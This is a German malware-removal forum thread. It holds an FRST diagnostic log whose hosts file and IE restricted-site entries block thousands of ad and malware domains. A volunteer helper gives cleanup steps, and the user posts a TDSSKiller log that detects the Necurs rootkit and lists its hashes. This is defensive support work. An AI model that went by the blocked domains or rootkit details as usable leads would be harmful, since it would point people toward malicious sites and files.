IE restricted site: HKU\.DEFAULT\...\10sek.com -> www.10sek.com

IE restricted site: HKU\.DEFAULT\...\12-26.net -> user1.12-26.net

IE restricted site: HKU\.DEFAULT\...\12-27.net -> user1.12-27.net

IE restricted site: HKU\.DEFAULT\...\123haustiereundmehr.com -> www.123haustiereundmehr.com

IE restricted site: HKU\.DEFAULT\...\123simsen.com -> www.123simsen.com

IE restricted site: HKU\.DEFAULT\...\123topsearch.com -> www.123topsearch.com

IE restricted site: HKU\.DEFAULT\...\125sms.co.uk -> www.125sms.co.uk
 

Da befinden sich 5207 mehr Seiten.
 

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\007guard.com -> install.007guard.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\008i.com -> 008i.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\008k.com -> www.008k.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\00hq.com -> www.00hq.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\010402.com -> 010402.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\032439.com -> 80gw6ry3i3x3qbrkwhxhw.032439.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\0scan.com -> www.0scan.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1-2005-search.com -> www.1-2005-search.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1-domains-registrations.com -> www.1-domains-registrations.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1000gratisproben.com -> www.1000gratisproben.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1001namen.com -> www.1001namen.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\100888290cs.com -> mir.100888290cs.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\100sexlinks.com -> www.100sexlinks.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\10sek.com -> www.10sek.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\12-26.net -> user1.12-26.net

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\12-27.net -> user1.12-27.net

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123haustiereundmehr.com -> www.123haustiereundmehr.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123simsen.com -> www.123simsen.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123topsearch.com -> www.123topsearch.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\125sms.co.uk -> www.125sms.co.uk
 

Da befinden sich 5178 mehr Seiten.
 
 

==================== Hosts Inhalt: ==========================
 

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)
 

2002-12-31 14:00 - 2008-12-21 21:52 - 00291341 ___RA C:\WINDOWS\system32\Drivers\etc\hosts
 

127.0.0.1       localhost127.0.0.1        www.007guard.com

127.0.0.1        007guard.com

127.0.0.1        008i.com

127.0.0.1        www.008k.com

127.0.0.1        008k.com

127.0.0.1        www.00hq.com

127.0.0.1        00hq.com

127.0.0.1        010402.com

127.0.0.1        www.032439.com

127.0.0.1        032439.com

127.0.0.1        www.100888290cs.com

127.0.0.1        100888290cs.com

127.0.0.1        www.100sexlinks.com

127.0.0.1        100sexlinks.com

127.0.0.1        www.10sek.com

127.0.0.1        10sek.com

127.0.0.1        www.123topsearch.com

127.0.0.1        123topsearch.com

127.0.0.1        www.132.com

127.0.0.1        132.com

127.0.0.1        www.136136.net

127.0.0.1        136136.net

127.0.0.1        www.163ns.com

127.0.0.1        163ns.com

127.0.0.1        171203.com

127.0.0.1        17-plus.com

127.0.0.1        www.1800searchonline.com

127.0.0.1        1800searchonline.com

127.0.0.1        www.180searchassistant.com

127.0.0.1        180searchassistant.com
 

Da befinden sich 10021 zusätzliche Einträge.
 
 

==================== Andere Bereiche ============================
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Control Panel\Desktop\\Wallpaper -> 

DNS Servers: 10.0.0.138

Windows Firewall ist aktiviert.
 

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

MSCONFIG\startupfolder: C:^Dokumente und Einstellungen^All Users^Startmenü^Programme^Autostart^TP-LINK Wireless Configuration Utility.lnk => C:\WINDOWS\pss\TP-LINK Wireless Configuration Utility.lnkCommon Startup

MSCONFIG\startupreg: Adobe Version Cue CS2 => c:\Programme\Adobe\Adobe Version Cue CS2\ControlPanel\VersionCueCS2Tray.exe

MSCONFIG\startupreg: AdobeBridge => 

MSCONFIG\startupreg: APSDaemon => "C:\Programme\Gemeinsame Dateien\Apple\Apple Application Support\APSDaemon.exe"

MSCONFIG\startupreg: DivXMediaServer => C:\Programme\DivX\DivX Media Server\DivXMediaServer.exe

MSCONFIG\startupreg: DivXUpdate => "C:\Programme\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW

MSCONFIG\startupreg: iTunesHelper => "C:\Programme\iTunes\iTunesHelper.exe"

MSCONFIG\startupreg: NBJ => "C:\Programme\Ahead\Nero BackItUp\NBJ.exe"

MSCONFIG\startupreg: SunJavaUpdateSched => "C:\Programme\Gemeinsame Dateien\Java\Java Update\jusched.exe"

MSCONFIG\startupreg: Telenorhjelpen => "C:\Programme\Telenor Norway\Telenorhjelpen\Telenorhjelpen.exe" -autorun

MSCONFIG\startupreg: TnFtpServer => C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\WinXP tuning\TnFtpSrv\TnFtpSrv.exe
 

==================== FirewallRules (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

StandardProfile\AuthorizedApplications: [D:\Setup Wizard\SetupST.exe] => Enabled:SpeedTouch Setup Wizard

StandardProfile\AuthorizedApplications: [C:\Programme\Nokia\Nokia Home Media Server\Media Server\twonkymedia.exe] => Enabled:TwonkyMedia

StandardProfile\AuthorizedApplications: [C:\Programme\Nokia\Nokia Home Media Server\Media Server\twonkymediaserver.exe] => Enabled:TwonkyMediaServer

StandardProfile\AuthorizedApplications: [C:\Program Files\Real\RealPlayer\realplay.exe] => Enabled:RealPlayer

StandardProfile\AuthorizedApplications: [C:\Programme\Gemeinsame Dateien\Nokia\Service Layer\A\nsl_host_process.exe] => Enabled:Nokia Service Layer Host Process 

StandardProfile\AuthorizedApplications: [C:\Programme\Nokia\Nokia Software Updater\nsu_ui_client.exe] => Enabled:Nokia Software Updater

StandardProfile\AuthorizedApplications: [C:\WINDOWS\system32\mshta.exe] => Enabled:Microsoft (R) HTML Application host

StandardProfile\AuthorizedApplications: [C:\Programme\Opera\opera.exe] => Enabled:Opera Internet Browser

StandardProfile\AuthorizedApplications: [C:\Programme\Gemeinsame Dateien\Apple\Apple Application Support\WebKit2WebProcess.exe] => Enabled:WebKit

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Mailboxen.exe] => Enabled:A1 Webassistent Mailboxen

StandardProfile\AuthorizedApplications: [C:\Programme\Adobe\Adobe Version Cue CS2\bin\VersionCueCS2.exe] => Enabled:Adobe Version Cue CS2

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Breitband.exe] => Enabled:A1 Internet Installation

StandardProfile\AuthorizedApplications: [C:\Programme\Google\Chrome\Application\chrome.exe] => Enabled:Google Chrome

StandardProfile\AuthorizedApplications: [C:\Programme\Telenor\Telenorhjelpen\Telenor.exe] => Enabled:Telenorhjelpen

StandardProfile\AuthorizedApplications: [C:\Programme\Telenor Norway\Telenorhjelpen\Telenorhjelpen.exe] => Enabled:Telenorhjelpen

StandardProfile\AuthorizedApplications: [C:\WINDOWS\system32\java.exe] => Enabled:Java(TM) Platform SE binary

StandardProfile\AuthorizedApplications: [C:\JAVA\eclipse\eclipse.exe] => Enabled:eclipse

StandardProfile\AuthorizedApplications: [C:\JAVA\eclipse 4.4.2\eclipse\eclipse.exe] => Enabled:eclipse

StandardProfile\AuthorizedApplications: [C:\Programme\Java\jre7\bin\javaw.exe] => Enabled:Java(TM) Platform SE binary

StandardProfile\AuthorizedApplications: [C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\WinXP tuning\TnFtpSrv\TnFtpSrv.exe] => Disabled:Telnet-Ftp Service Server

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Servicecenter\A1Servicecenter.exe] => Enabled:A1 Servicecenter

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Modemkonfigurator.exe] => Enabled:A1 Webassistent

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1WLANAssistent.exe] => Enabled:A1 Webassistent

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Breitband\A1Breitband.exe] => Enabled:A1 Internet Installation

StandardProfile\AuthorizedApplications: [C:\WINDOWS\Installer\{31AF7FE6-14C2-F33B-29AC-A36D095CDFA1}\syshost.exe] => Disabled:syshost

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Webassistent.exe] => Enabled:A1 Webassistent

DomainProfile\GloballyOpenPorts: [3306:TCP] => Enabled:MySQL56

StandardProfile\GloballyOpenPorts: [1900:UDP] => :LocalSubNet:Disabled:@xpsp2res.dll,-22007

StandardProfile\GloballyOpenPorts: [2869:TCP] => :LocalSubNet:Disabled:@xpsp2res.dll,-22008

StandardProfile\GloballyOpenPorts: [3306:TCP] => Enabled:MySQL56
 

==================== Wiederherstellungspunkte =========================
 

06-05-2016 16:23:53 Systemprüfpunkt

09-05-2016 13:27:32 Systemprüfpunkt

10-05-2016 19:11:10 Systemprüfpunkt

13-05-2016 18:04:46 Systemprüfpunkt

15-05-2016 18:15:22 Systemprüfpunkt

16-05-2016 19:27:00 Systemprüfpunkt

17-05-2016 22:11:18 Systemprüfpunkt

19-05-2016 12:25:48 Systemprüfpunkt

19-05-2016 21:35:21 Removed TP-LINK Wireless Configuration Utility and Driver

19-05-2016 21:36:41 Removed TP-LINK Wireless Configuration Utility

21-05-2016 15:44:30 Systemprüfpunkt

22-05-2016 16:23:03 Systemprüfpunkt

23-05-2016 17:08:22 Systemprüfpunkt

25-05-2016 15:52:15 Systemprüfpunkt

26-05-2016 20:40:12 Systemprüfpunkt

28-05-2016 22:13:57 Systemprüfpunkt

31-05-2016 11:44:41 Systemprüfpunkt

01-06-2016 16:04:51 Systemprüfpunkt

03-06-2016 09:30:50 Systemprüfpunkt

04-06-2016 16:19:55 Systemprüfpunkt

05-06-2016 19:12:58 Systemprüfpunkt

07-06-2016 13:33:50 Systemprüfpunkt

13-06-2016 11:39:04 Systemprüfpunkt

14-06-2016 17:32:17 Systemprüfpunkt

16-06-2016 08:33:42 Systemprüfpunkt

17-06-2016 16:16:22 Systemprüfpunkt

19-06-2016 15:20:54 Systemprüfpunkt

22-06-2016 12:37:03 Systemprüfpunkt

23-06-2016 13:32:38 Systemprüfpunkt

24-06-2016 13:57:27 Systemprüfpunkt

29-06-2016 16:55:22 Systemprüfpunkt

30-06-2016 21:16:00 Systemprüfpunkt

02-07-2016 15:23:29 Systemprüfpunkt

03-07-2016 17:48:56 Systemprüfpunkt

04-07-2016 17:50:32 Systemprüfpunkt

05-07-2016 21:17:12 Systemprüfpunkt

06-07-2016 23:16:00 Systemprüfpunkt

15-07-2016 10:01:12 Systemprüfpunkt

16-07-2016 15:58:34 Systemprüfpunkt

17-07-2016 16:59:44 Systemprüfpunkt

18-07-2016 17:55:07 Systemprüfpunkt

20-07-2016 21:52:44 Systemprüfpunkt

21-07-2016 23:47:02 Systemprüfpunkt

24-07-2016 13:14:28 Systemprüfpunkt

25-07-2016 14:29:03 Systemprüfpunkt

27-07-2016 02:02:07 Systemprüfpunkt

28-07-2016 09:06:25 Systemprüfpunkt

29-07-2016 12:32:25 Systemprüfpunkt

30-07-2016 13:04:45 Systemprüfpunkt

31-07-2016 13:29:13 Systemprüfpunkt

02-08-2016 11:08:41 Systemprüfpunkt

03-08-2016 15:09:44 Systemprüfpunkt

03-08-2016 23:12:44 Wiederherstellungsvorgang

03-08-2016 23:15:27 Wiederherstellungsvorgang

04-08-2016 00:54:11 JRT Pre-Junkware Removal
 

==================== Fehlerhafte Geräte im Gerätemanager =============
 

Name: 1394-Netzwerkadapter

Description: 1394-Netzwerkadapter

Class Guid: {4D36E972-E325-11CE-BFC1-08002BE10318}

Manufacturer: Microsoft

Service: NIC1394

Problem: : This device is disabled. (Code 22)

Resolution: In Device Manager, click "Action", and then click "Enable Device". This starts the Enable Device wizard. Follow the instructions.
 
 

==================== Fehlereinträge in der Ereignisanzeige: =========================
 

Applikationsfehler:

==================

Error: (07/31/2016 11:34:56 AM) (Source: PerfNet) (EventID: 2004) (User: )

Description: Der Serverdienst konnte nicht geöffnet werden. Die Server-Leistungsinformationen

werden nicht zurückgegeben. Der zurückgegebene Fehlercode befindet sich in DWORD 0.
 

Error: (07/30/2016 08:36:16 AM) (Source: PerfNet) (EventID: 2004) (User: )

Description: Der Serverdienst konnte nicht geöffnet werden. Die Server-Leistungsinformationen

werden nicht zurückgegeben. Der zurückgegebene Fehlercode befindet sich in DWORD 0.
 

Error: (07/29/2016 12:13:21 PM) (Source: PerfNet) (EventID: 2004) (User: )

Description: Der Serverdienst konnte nicht geöffnet werden. Die Server-Leistungsinformationen

werden nicht zurückgegeben. Der zurückgegebene Fehlercode befindet sich in DWORD 0.
 
 

Systemfehler:

=============

Error: (08/03/2016 10:53:57 PM) (Source: Service Control Manager) (EventID: 7028) (User: )

Description: Der Registrierungsschlüssel "BITS" hat den Zugriff für SYSTEM-Kontoprogramme verweigert. Der Dienststeuerungs-Manager hat daher den Besitz des Registrierungsschlüssels übernommen.
 

Error: (08/03/2016 10:39:54 PM) (Source: Service Control Manager) (EventID: 7028) (User: )

Description: Der Registrierungsschlüssel "BITS" hat den Zugriff für SYSTEM-Kontoprogramme verweigert. Der Dienststeuerungs-Manager hat daher den Besitz des Registrierungsschlüssels übernommen.
 

Error: (08/03/2016 10:39:54 PM) (Source: Service Control Manager) (EventID: 7028) (User: )

Description: Der Registrierungsschlüssel "BITS" hat den Zugriff für SYSTEM-Kontoprogramme verweigert. Der Dienststeuerungs-Manager hat daher den Besitz des Registrierungsschlüssels übernommen.
 

Error: (08/03/2016 10:39:54 PM) (Source: Service Control Manager) (EventID: 7028) (User: )

Description: Der Registrierungsschlüssel "wuauserv" hat den Zugriff für SYSTEM-Kontoprogramme verweigert. Der Dienststeuerungs-Manager hat daher den Besitz des Registrierungsschlüssels übernommen.
 

Error: (08/03/2016 10:39:54 PM) (Source: Service Control Manager) (EventID: 7028) (User: )

Description: Der Registrierungsschlüssel "wuauserv" hat den Zugriff für SYSTEM-Kontoprogramme verweigert. Der Dienststeuerungs-Manager hat daher den Besitz des Registrierungsschlüssels übernommen.
 

Error: (08/03/2016 10:39:54 PM) (Source: Service Control Manager) (EventID: 7028) (User: )

Description: Der Registrierungsschlüssel "BITS" hat den Zugriff für SYSTEM-Kontoprogramme verweigert. Der Dienststeuerungs-Manager hat daher den Besitz des Registrierungsschlüssels übernommen.
 

Error: (08/03/2016 10:39:54 PM) (Source: Service Control Manager) (EventID: 7028) (User: )

Description: Der Registrierungsschlüssel "BITS" hat den Zugriff für SYSTEM-Kontoprogramme verweigert. Der Dienststeuerungs-Manager hat daher den Besitz des Registrierungsschlüssels übernommen.
 

Error: (08/03/2016 10:39:53 PM) (Source: Service Control Manager) (EventID: 7028) (User: )

Description: Der Registrierungsschlüssel "wuauserv" hat den Zugriff für SYSTEM-Kontoprogramme verweigert. Der Dienststeuerungs-Manager hat daher den Besitz des Registrierungsschlüssels übernommen.
 

Error: (08/03/2016 10:39:53 PM) (Source: Service Control Manager) (EventID: 7028) (User: )

Description: Der Registrierungsschlüssel "wuauserv" hat den Zugriff für SYSTEM-Kontoprogramme verweigert. Der Dienststeuerungs-Manager hat daher den Besitz des Registrierungsschlüssels übernommen.
 

Error: (08/03/2016 10:39:53 PM) (Source: Service Control Manager) (EventID: 7028) (User: )

Description: Der Registrierungsschlüssel "BITS" hat den Zugriff für SYSTEM-Kontoprogramme verweigert. Der Dienststeuerungs-Manager hat daher den Besitz des Registrierungsschlüssels übernommen.
 
 

==================== Memory info =========================== 
 

Processor: Intel(R) Core(TM)2 CPU 6400 @ 2.13GHz

Prozentuale Nutzung des RAM: 62%

Installierter physikalischer RAM: 1023.17 MB

Verfügbarer physikalischer RAM: 381.83 MB

Summe virtueller Speicher: 2461.54 MB

Verfügbarer virtueller Speicher: 1950.8 MB
 

==================== Laufwerke ================================
 

Drive c: (Boot) (Fixed) (Total:68.36 GB) (Free:20.4 GB) NTFS ==>[Laufwerk mit Startkomponenten (Windows XP)]

Drive e: (Big one) (Fixed) (Total:164.51 GB) (Free:36.2 GB) NTFS

Drive h: (JOBS USB) (Removable) (Total:7.2 GB) (Free:6.88 GB) FAT32
 

==================== MBR & Partitionstabelle ==================
 

========================================================

Disk: 1 (Size: 232.9 GB) (Disk ID: 378E378E)

Partition 1: (Active) - (Size=68.4 GB) - (Type=07 NTFS)

Partition 2: (Not Active) - (Size=164.5 GB) - (Type=OF Extended)
 

========================================================

Disk: 2 (Size: 7.2 GB) (Disk ID: 314A585C)

Partition 1: (Active) - (Size=7.2 GB) - (Type=0B)
 

==================== Ende vom Addition.txt ============================

Fragerin

04.08.2016 15:11

:hallo:

Mein Name ist Ruth und ich werde dir bei der Bereinigung deines Systems helfen.

Bitte beachte, dass jede meiner Antworten erst durch einen Ausbilder freigegeben werden muss. Ich bitte um Verständnis für mögliche Verzögerungen. Ich bemühe mich jedoch, spätestens nach 24 Stunden zu antworten.
Bitte befolge meine Anweisungen, bis ich dich als *clean* entlasse.
Ändere bitte alle deine Passwörter von einem anderen, sauberen System aus!
Nicht unaufgefordert Programme installieren und deinstallieren.
Keine Online-Geschäfte machen und überhaupt deine Online-Aktivitäten möglichst begrenzen.

Warte dann auf weitere Anweisungen.

Fragerin

04.08.2016 17:03

Hallo Jazzerin,
Dein System ist ziemlich verseucht. Wir müssen noch gegen Rootkits vorgehen:

Schritt 1: Rootkits entfernen
Downloade dir bitte

TDSSKiller.exe und speichere diese Datei auf dem Desktop

Starte die TDSSKiller.exe - Einstellen wie in der Anleitung zu TDSSKiller beschrieben.
Drücke Start Scan
Sollten infizierte Objekte gefunden werden, wähle keinesfalls Cure. Wähle Skip und klicke auf Continue.
TDSSKiller wird eine Logfile auf deinem Systemlaufwerk speichern (Meistens C:\)
Als Beispiel: C:\TDSSKiller.<Version_Datum_Uhrzeit>log.txt

Poste den Inhalt bitte in jedem Fall hier in deinen Thread.

Fragerin

08.08.2016 09:05

Hi,

ich hab schon länger keine Antwort mehr von Dir erhalten. Brauchst Du noch Hilfe?

Hinweis: Sollte ich die nächsten 24h keine Nachricht von Dir bekommen, lösche ich das Thema aus meinen Abos und werde daher über Änderungen oder Beiträge nicht weiter informiert. Wenn Du weitermachen möchtest, schreib mir dann einfach eine PM.

::dankeschoen:

jazzerin

09.08.2016 13:12

Ich kann leider erst Ende August mich wieder um den PC kuemmern, da ich verreisen musste. Ich hoffe es geht in Ordnung, dass ich mich dann wieder melde und die Massnahmen durchfuhre

Fragerin

09.08.2016 14:10

Zitat:

Ich kann leider erst Ende August mich wieder um den PC kuemmern, da ich verreisen musste. Ich hoffe es geht in Ordnung, dass ich mich dann wieder melde und die Massnahmen durchfuhre

OK, ich lasse dich in meinen Abos drin, du kannst dann wieder schreiben.

jazzerin

16.08.2016 14:16

Rootkit scan

Hallo & vielen Dank für das belassen des Support-Threads!
Hier ist der log ( die Option "delete" war aktiviert, als ich "Continue" gedrückt habe, trotz guten Rats). Damit keine Änderungen am System passieren, reboote ich erst, nachdem ich von Euch gehört habe.

Code:

15:09:26.0765 0x083c  TDSS rootkit removing tool 3.1.0.11 Aug  5 2016 12:13:31

15:09:28.0562 0x083c  ============================================================

15:09:28.0562 0x083c  Current date / time: 2016/08/16 15:09:28.0562

15:09:28.0562 0x083c  SystemInfo:

15:09:28.0562 0x083c  

15:09:28.0562 0x083c  OS Version: 5.1.2600 ServicePack: 3.0

15:09:28.0562 0x083c  Product type: Workstation

15:09:28.0562 0x083c  ComputerName: HOME

15:09:28.0562 0x083c  UserName: Julie

15:09:28.0562 0x083c  Windows directory: C:\WINDOWS

15:09:28.0562 0x083c  System windows directory: C:\WINDOWS

15:09:28.0562 0x083c  Processor architecture: Intel x86

15:09:28.0562 0x083c  Number of processors: 2

15:09:28.0562 0x083c  Page size: 0x1000

15:09:28.0562 0x083c  Boot type: Normal boot

15:09:28.0562 0x083c  ============================================================

15:09:28.0562 0x083c  KLMD ARK init status: drvProperties = 0xFFFF00, osBuild = 2600.6055, osProperties = 0x0

15:09:28.0562 0x083c  KLMD BG init status: drvProperties = 0xFFFF00, osBuild = 2600.6055, osProperties = 0x0

15:09:28.0562 0x083c  BG loaded

15:09:30.0015 0x083c  System UUID: {A3F0DFDF-4A55-C5C3-2D02-21D470C34788}

15:09:31.0687 0x083c  Drive \Device\Harddisk1\DR1 - Size: 0x3A38B2E000 ( 232.89 Gb ), SectorSize: 0x200, Cylinders: 0x76C1, SectorsPerTrack: 0x3F, TracksPerCylinder: 0xFF, Type 'K0', Flags 0x00000054

15:09:31.0703 0x083c  Drive \Device\Harddisk2\DR5 - Size: 0x7470C05E00 ( 465.76 Gb ), SectorSize: 0x200, Cylinders: 0xED81, SectorsPerTrack: 0x3F, TracksPerCylinder: 0xFF, Type 'W'

15:09:31.0703 0x083c  Drive \Device\Harddisk3\DR6 - Size: 0x1CDC7E800 ( 7.22 Gb ), SectorSize: 0x200, Cylinders: 0x3AD, SectorsPerTrack: 0x3F, TracksPerCylinder: 0xFF, Type 'W'

15:09:31.0703 0x083c  ============================================================

15:09:31.0703 0x083c  \Device\Harddisk1\DR1:

15:09:31.0703 0x083c  MBR partitions:

15:09:31.0703 0x083c  \Device\Harddisk1\DR1\Partition1: MBR, Type 0x7, StartLBA 0x3F, BlocksNum 0x88B8F9D

15:09:31.0718 0x083c  \Device\Harddisk1\DR1\Partition2: MBR, Type 0x7, StartLBA 0x88B901B, BlocksNum 0x149076A5

15:09:31.0718 0x083c  \Device\Harddisk2\DR5:

15:09:31.0718 0x083c  MBR partitions:

15:09:31.0718 0x083c  \Device\Harddisk2\DR5\Partition1: MBR, Type 0x7, StartLBA 0x3F, BlocksNum 0x3A384C01

15:09:31.0718 0x083c  \Device\Harddisk3\DR6:

15:09:31.0718 0x083c  MBR partitions:

15:09:31.0718 0x083c  \Device\Harddisk3\DR6\Partition1: MBR, Type 0xB, StartLBA 0x3F, BlocksNum 0xE6DDA1

15:09:31.0718 0x083c  ============================================================

15:09:31.0796 0x083c  C: <-> \Device\Harddisk1\DR1\Partition1

15:09:31.0828 0x083c  E: <-> \Device\Harddisk1\DR1\Partition2

15:09:32.0093 0x083c  J: <-> \Device\Harddisk2\DR5\Partition1

15:09:32.0093 0x083c  ============================================================

15:09:32.0093 0x083c  Initialize success

15:09:32.0093 0x083c  ============================================================

15:09:50.0921 0x092c  ============================================================

15:09:50.0921 0x092c  Scan started

15:09:50.0921 0x092c  Mode: Manual; 

15:09:50.0921 0x092c  ============================================================

15:09:50.0921 0x092c  KSN ping started

15:09:53.0250 0x092c  KSN ping finished: true

15:09:56.0578 0x092c  ================ Scan system memory ========================

15:09:56.0578 0x092c  System memory - ok

15:09:56.0578 0x092c  ================ Scan services =============================

15:09:56.0609 0x092c  Suspicious service (NoAccess): 8d2f1246333c7fa

15:09:56.0703 0x092c  [ 365ED4C12DD4A20BD4024BC8159A7499, 58D512857D4C32BD98A9080ED0CBCB62912812075F0A55872A28AE2B32EB9523 ] 8d2f1246333c7fa C:\WINDOWS\System32\Drivers\8d2f1246333c7fa.sys

15:09:56.0703 0x092c  Suspicious file ( NoAccess ): C:\WINDOWS\System32\Drivers\8d2f1246333c7fa.sys. md5: 365ED4C12DD4A20BD4024BC8159A7499, sha256: 58D512857D4C32BD98A9080ED0CBCB62912812075F0A55872A28AE2B32EB9523

15:09:57.0265 0x092c  8d2f1246333c7fa - detected Rootkit.Win32.Necurs.gen ( 0 )

15:09:59.0703 0x092c  8d2f1246333c7fa ( Rootkit.Win32.Necurs.gen ) - infected

15:09:59.0703 0x092c  Force sending object to P2P due to detect: 8d2f1246333c7fa

15:10:02.0140 0x092c  Object send P2P result: true

15:10:04.0500 0x092c  Abiosdsk - ok

15:10:04.0500 0x092c  abp480n5 - ok

15:10:04.0531 0x092c  [ AC407F1A62C3A300B4F2B5A9F1D55B2C, 31F5FC61B37E22100B3A52A590295A7E827FFC581FA9960C64B9032452AAECED ] ACPI            C:\WINDOWS\system32\DRIVERS\ACPI.sys

15:10:04.0546 0x092c  ACPI - ok

15:10:04.0562 0x092c  [ 9E1CA3160DAFB159CA14F83B1E317F75, 13B3E897B0E819BF734449416D9EC6EBCAC89538EC69BF48C068593B82D57004 ] ACPIEC          C:\WINDOWS\system32\drivers\ACPIEC.sys

15:10:04.0562 0x092c  ACPIEC - ok

15:10:04.0593 0x092c  [ D392183CC5379E302E50CEBA635248EB, 43DDD87C7F749B2F6DD3BC7759BC25C1C5968ABAAEE4A9E13CA0851AF0E394BE ] ADIHdAudAddService C:\WINDOWS\system32\drivers\ADIHdAud.sys

15:10:04.0593 0x092c  ADIHdAudAddService - ok

15:10:04.0671 0x092c  [ 8B46D5A1D3EF08232C04D0EAFB871FB2, 5306F8452EF675851CB0015F9E5C5EB750137D6D65C9CB7E47F8EF5B10A44D10 ] Adobe LM Service C:\Programme\Gemeinsame Dateien\Adobe Systems Shared\Service\Adobelmsvc.exe

15:10:04.0671 0x092c  Adobe LM Service - ok

15:10:04.0781 0x092c  [ 41D15EAD554396BF35B7C5246AD47A28, 456835B33E95D083CD0076F06B591D63FB969025940A5CFD87CAB37C658B6855 ] Adobe Version Cue CS2 c:\Programme\Adobe\Adobe Version Cue CS2\bin\VersionCueCS2.exe

15:10:04.0796 0x092c  Adobe Version Cue CS2 - ok

15:10:04.0859 0x092c  [ 32B31B696CB8E8F380831DFEB80A67E4, 8C8F6E16F2FB3E8F10569261B7712BBC931A2924B6C27D561E7F828041C4F3E6 ] AdobeFlashPlayerUpdateSvc C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe

15:10:04.0859 0x092c  AdobeFlashPlayerUpdateSvc - ok

15:10:04.0875 0x092c  adpu160m - ok

15:10:04.0890 0x092c  [ 9F59AE2DE835641FBB0C6AFD80D8FA9B, 20DBA4F85654C637305CC9429D1942EC5E4F54731F605292B3851F931A5B1039 ] AEAudioService  C:\WINDOWS\system32\drivers\AEAudio.sys

15:10:04.0890 0x092c  AEAudioService - ok

15:10:04.0921 0x092c  [ 8BED39E3C35D6A489438B8141717A557, 1B5796E56B0927360CE0759641B1151828BC0A9E45620D2B2D880491F5CE33D0 ] aec             C:\WINDOWS\system32\drivers\aec.sys

15:10:04.0921 0x092c  aec - ok

15:10:04.0937 0x092c  [ 2C5C22990156A1063E19AD162191DC1D, 6BB96C223E46F25669511A1EE647B0039ACCBDF7078462544E724029E4860804 ] AegisP          C:\WINDOWS\system32\DRIVERS\AegisP.sys

15:10:04.0937 0x092c  AegisP - ok

15:10:04.0968 0x092c  [ 1E44BC1E83D8FD2305F8D452DB109CF9, CF5EC07E0B589FA2A4701C6CFD69E893FC3ABF274AD57AE3C13FFE49063B02C8 ] AFD             C:\WINDOWS\System32\drivers\afd.sys

15:10:04.0968 0x092c  AFD - ok

15:10:05.0000 0x092c  [ C719341A1CF6AFD4FA0808AE3D23D6A3, 299236939415AA357B9F1ECFC6305B1F20BA4B0F96904F2C9A7002503251649E ] AFS2K           C:\WINDOWS\system32\drivers\AFS2K.sys

15:10:05.0000 0x092c  AFS2K - ok

15:10:05.0000 0x092c  Aha154x - ok

15:10:05.0000 0x092c  aic78u2 - ok

15:10:05.0015 0x092c  aic78xx - ok

15:10:05.0031 0x092c  [ 738D80CC01D7BC7584BE917B7F544394, DCC17AAEF5CDDF52FAAC3CC6904EF421CD595F66318A2370BEE261D5C3A8E340 ] Alerter         C:\WINDOWS\system32\alrsvc.dll

15:10:05.0046 0x092c  Alerter - ok

15:10:05.0078 0x092c  [ 190CD73D4984F94D823F9444980513E5, 93A32C2495CCA094F768BA707C74DA5C00B8A88A9236DD1A297439A7C2E6C6FA ] ALG             C:\WINDOWS\System32\alg.exe

15:10:05.0078 0x092c  ALG - ok

15:10:05.0078 0x092c  AliIde - ok

15:10:05.0078 0x092c  amsint - ok

15:10:05.0109 0x092c  Apple Mobile Device - ok

15:10:05.0156 0x092c  [ D45960BE52C3C610D361977057F98C54, 9186589B502F46B47672CFB8EBD558D51B0F3CBFE4E0DDBA625A4265236518CE ] AppMgmt         C:\WINDOWS\System32\appmgmts.dll

15:10:05.0156 0x092c  AppMgmt - ok

15:10:05.0156 0x092c  AR5416 - ok

15:10:05.0171 0x092c  [ B5B8A80875C1DEDEDA8B02765642C32F, AD0C71D73B1B8225351FBF4FFB43001A32B4DAE69504C59970CD2428BB33D4EF ] Arp1394         C:\WINDOWS\system32\DRIVERS\arp1394.sys

15:10:05.0187 0x092c  Arp1394 - ok

